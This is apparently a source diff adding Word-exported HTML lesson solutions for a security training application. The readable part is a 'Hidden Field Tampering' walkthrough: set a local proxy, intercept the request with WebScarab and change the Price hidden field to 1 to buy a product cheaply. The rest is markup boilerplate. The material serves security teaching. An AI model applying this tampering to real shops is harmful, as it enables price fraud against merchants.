|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
/* Style Definitions */
|
||||
p.MsoNormal, li.MsoNormal, div.MsoNormal
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
h1
|
||||
{mso-style-unhide:no;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-link:"Heading 1 Char";
|
||||
mso-style-next:Normal;
|
||||
margin-top:12.0pt;
|
||||
margin-right:0cm;
|
||||
margin-bottom:3.0pt;
|
||||
margin-left:0cm;
|
||||
mso-pagination:widow-orphan;
|
||||
page-break-after:avoid;
|
||||
mso-outline-level:1;
|
||||
font-size:16.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;}
|
||||
p.MsoCaption, li.MsoCaption, div.MsoCaption
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-next:Normal;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
font-weight:bold;}
|
||||
p.MsoEnvelopeReturn, li.MsoEnvelopeReturn, div.MsoEnvelopeReturn
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:12.0pt;
|
||||
font-family:"Times New Roman","serif";
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-fareast-theme-font:major-fareast;}
|
||||
p.MsoAcetate, li.MsoAcetate, div.MsoAcetate
|
||||
{mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-link:"Balloon Text Char";
|
||||
margin:0cm;
|
||||
margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-fareast-font-family:"Times New Roman";}
|
||||
span.Heading1Char
|
||||
{mso-style-name:"Heading 1 Char";
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Heading 1";
|
||||
mso-ansi-font-size:16.0pt;
|
||||
mso-bidi-font-size:16.0pt;
|
||||
font-family:"MS Mincho";
|
||||
mso-ascii-font-family:"MS Mincho";
|
||||
mso-fareast-font-family:"MS Mincho";
|
||||
mso-hansi-font-family:"MS Mincho";
|
||||
mso-bidi-font-family:Arial;
|
||||
mso-font-kerning:16.0pt;
|
||||
mso-fareast-language:JA;
|
||||
font-weight:bold;}
|
||||
span.BalloonTextChar
|
||||
{mso-style-name:"Balloon Text Char";
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-unhide:no;
|
||||
mso-style-locked:yes;
|
||||
mso-style-link:"Balloon Text";
|
||||
mso-ansi-font-size:8.0pt;
|
||||
mso-bidi-font-size:8.0pt;
|
||||
font-family:"Tahoma","sans-serif";
|
||||
mso-ascii-font-family:Tahoma;
|
||||
mso-fareast-font-family:"Times New Roman";
|
||||
mso-hansi-font-family:Tahoma;
|
||||
mso-bidi-font-family:Tahoma;}
|
||||
.MsoChpDefault
|
||||
{mso-style-type:export-only;
|
||||
mso-default-props:yes;
|
||||
font-size:10.0pt;
|
||||
mso-ansi-font-size:10.0pt;
|
||||
mso-bidi-font-size:10.0pt;
|
||||
mso-ascii-font-family:Arial;
|
||||
mso-fareast-font-family:Calibri;
|
||||
mso-fareast-theme-font:minor-latin;
|
||||
mso-hansi-font-family:Arial;
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
@page Section1
|
||||
{size:612.0pt 792.0pt;
|
||||
margin:72.0pt 72.0pt 72.0pt 72.0pt;
|
||||
mso-header-margin:35.4pt;
|
||||
mso-footer-margin:35.4pt;
|
||||
mso-paper-source:0;}
|
||||
div.Section1
|
||||
{page:Section1;}
|
||||
-->
|
||||
</style>
|
||||
<!--[if gte mso 10]>
|
||||
<style>
|
||||
/* Style Definitions */
|
||||
table.MsoNormalTable
|
||||
{mso-style-name:"Table Normal";
|
||||
mso-tstyle-rowband-size:0;
|
||||
mso-tstyle-colband-size:0;
|
||||
mso-style-noshow:yes;
|
||||
mso-style-priority:99;
|
||||
mso-style-qformat:yes;
|
||||
mso-style-parent:"";
|
||||
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
|
||||
mso-para-margin:0cm;
|
||||
mso-para-margin-bottom:.0001pt;
|
||||
mso-pagination:widow-orphan;
|
||||
font-size:10.0pt;
|
||||
font-family:"Arial","sans-serif";
|
||||
mso-bidi-font-family:"Times New Roman";
|
||||
mso-bidi-theme-font:major-bidi;}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapedefaults v:ext="edit" spidmax="4098"/>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:shapelayout v:ext="edit">
|
||||
<o:idmap v:ext="edit" data="1"/>
|
||||
</o:shapelayout></xml><![endif]-->
|
||||
</head>
|
||||
|
||||
<body lang=EN-US style='tab-interval:36.0pt'>
|
||||
|
||||
<div class=Section1>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Lesson
|
||||
Plan Title:</span></b><span style='font-family:"Arial","sans-serif"'> How to
|
||||
Exploit Hidden Fields <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>Concept /
|
||||
Topic To Teach:</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Developers
|
||||
will use hidden fields for tracking, login, pricing, etc.. information on a
|
||||
loaded page. While this is a convenient and easy mechanism for the developer,
|
||||
they often don't validate the information that is received from the hidden
|
||||
field. This lesson will teach the attacker to find and modify hidden fields to
|
||||
obtain a product for a price other than the price specified <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b><span style='font-family:"Arial","sans-serif"'>General
|
||||
Goal(s):</span></b><span style='font-family:"Arial","sans-serif"'> <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The user
|
||||
should be able to exploit a hidden field to obtain a product at an incorrect
|
||||
price.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shapetype id="_x0000_t75"
|
||||
coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe"
|
||||
filled="f" stroked="f">
|
||||
<v:stroke joinstyle="miter"/>
|
||||
<v:formulas>
|
||||
<v:f eqn="if lineDrawn pixelLineWidth 0"/>
|
||||
<v:f eqn="sum @0 1 0"/>
|
||||
<v:f eqn="sum 0 0 @1"/>
|
||||
<v:f eqn="prod @2 1 2"/>
|
||||
<v:f eqn="prod @3 21600 pixelWidth"/>
|
||||
<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_103" o:spid="_x0000_i1029" type="#_x0000_t75"
|
||||
style='width:480pt;height:276.75pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HiddenFieldTampering_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/HiddenFieldTampering_files/image011.jpg" v:shapes="Picture_x0020_103"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 4<span style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>To change the
|
||||
hidden field you need to start your favorite HTTP Interceptor. You can use
|
||||
WebScarab from OWASP to intercept the request and change the hidden field.
|
||||
Configure your browser to use a local proxy. In Internet Explorer you can do
|
||||
this via "Tools" <20> "Internet Options" <20> "Connections" <20> "LAN Settings". You
|
||||
must define proxy "localhost" with port 8008.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_104"
|
||||
o:spid="_x0000_i1028" type="#_x0000_t75" style='width:4in;height:254.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HiddenFieldTampering_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=384 height=339
|
||||
src="lesson_solutions/HiddenFieldTampering_files/image012.jpg" v:shapes="Picture_x0020_104"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>2</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Set local proxy in Internet Explorer<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Start
|
||||
WebScarab <o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_105"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HiddenFieldTampering_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/HiddenFieldTampering_files/image013.jpg" v:shapes="Picture_x0020_105"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>3</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Intercept request with WebScarab<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_106"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HiddenFieldTampering_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/HiddenFieldTampering_files/image014.jpg" v:shapes="Picture_x0020_106"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>4</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Change the Price variable to 1<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_107"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:276.75pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/HiddenFieldTampering_files/image009.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=369
|
||||
src="lesson_solutions/HiddenFieldTampering_files/image015.jpg" v:shapes="Picture_x0020_107"><![endif]></span><span
|
||||
style='font-family:"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoCaption><span style='font-family:"Arial","sans-serif"'>Figure </span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-begin'></span><span
|
||||
style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC <span style='mso-element:
|
||||
field-separator'></span></span><![endif]--><span style='font-family:"Arial","sans-serif"'><span
|
||||
style='mso-no-proof:yes'>5</span></span><!--[if supportFields]><span
|
||||
style='font-family:"Arial","sans-serif"'><span style='mso-element:field-end'></span></span><![endif]--><span
|
||||
style='font-family:"Arial","sans-serif"'> Lesson 4 Completed<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
677
src/main/webapp/lesson_solutions_1/HtmlClues.html
Normal file
677
src/main/webapp/lesson_solutions_1/HtmlClues.html
Normal file
@ -0,0 +1,677 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/HtmlClues_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/HtmlClues_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>5</o:Revision>
|
||||
<o:TotalTime>10</o:TotalTime>
|
||||
<o:Created>2007-07-11T10:33:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:27:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>123</o:Words>
|
||||
<o:Characters>707</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>5</o:Lines>
|
||||
<o:Paragraphs>1</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>829</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/HtmlClues_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/HtmlClues_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
